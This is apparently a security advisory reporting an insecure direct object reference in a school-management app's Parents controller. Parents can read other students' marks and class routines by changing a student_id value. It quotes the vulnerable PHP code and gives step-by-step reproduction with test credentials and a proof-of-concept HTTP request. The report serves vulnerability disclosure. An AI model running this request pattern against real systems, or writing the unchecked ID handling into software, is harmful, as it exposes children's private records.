Insecure Direct Object Reference (IDOR) in Parent Controller – Unauthorised Access to Other Students' Marks and Class Routine

[duckpigdog]

Insecure Direct Object Reference (IDOR) in Parent Controller – Unauthorised Access to Other Students' Marks and Class Routine

Severity: Medium
Type: Insecure Direct Object Reference (IDOR) / Missing Authorization
File(s):

• application/controllers/Parents.php (lines 53–70)
• application/views/backend/parent/marks.php (lines 2–32)
• application/views/backend/parent/class_routine.php (lines 2–55)

Confirmed by local HTTP verification.

---

Description

The marks method in the Parents controller accepts a student ID directly from the URL (via $param1) and passes it to the view without verifying that the student belongs to the currently logged‑in parent:

function marks($param1 = '')
{
    if ($this->session->userdata('parent_login') != 1)
        redirect(base_url(), 'refresh');
    $page_data['student_id'] = $param1;
    $this->load->view('backend/index', $page_data);
}

The corresponding views (marks.php, class_routine.php) then use this student ID to fetch and display the student’s marks or class routine:

$child_of_parent = $this->db->get_where('student', array(
    'student_id' => $student_id
))->result_array();

Because no ownership check exists (e.g., comparing the student’s parent_id with the session’s parent ID), a logged‑in parent can enumerate student_id values and view sensitive academic information of any student, not just their own children.

Steps to Reproduce
Log in as a parent (credentials: p_zakir@gmail.com / 123). The server returns a valid session.

Use the session cookie to request the marks page for a student that does not belong to this parent:

GET /index.php?parents/marks/1
Host: 127.0.0.1:3000
Cookie: ci_session=5455ae960ae564bf3f412368a2cc11b6711d4cbe; ...

The response contains the marks of student_id=1 (student name Riham), which belongs to a different parent.

The same approach works for the class routine page (parents/class_routine/1).

Proof of Concept
Request:

GET /index.php?parents/marks/1 HTTP/1.1
Host: 127.0.0.1:3000
Cookie: ci_session=5455ae960ae564bf3f412368a2cc11b6711d4cbe; school_auth=parent:1:febf9e9c28d99fc7b0a8ca89e0e3c91220176ad8da194e0a841ea1ceb81e3383

Response (observed):

Page length: 16578 bytes

Content includes Riham (the student’s name) and associated marks, confirming the data belongs to student_id=1 and is rendered for the unauthorised parent.

Impact
Horizontal privilege escalation – a parent can view grades, personal information, and class schedules of other students simply by changing the student_id parameter.

Privacy violation – sensitive student performance data is exposed.

Enumeration possible – sequential IDs allow bulk extraction of all students’ records.

![](https://pic1.imgdb.cn/item/69f908fac32b4b1956194e3f.png)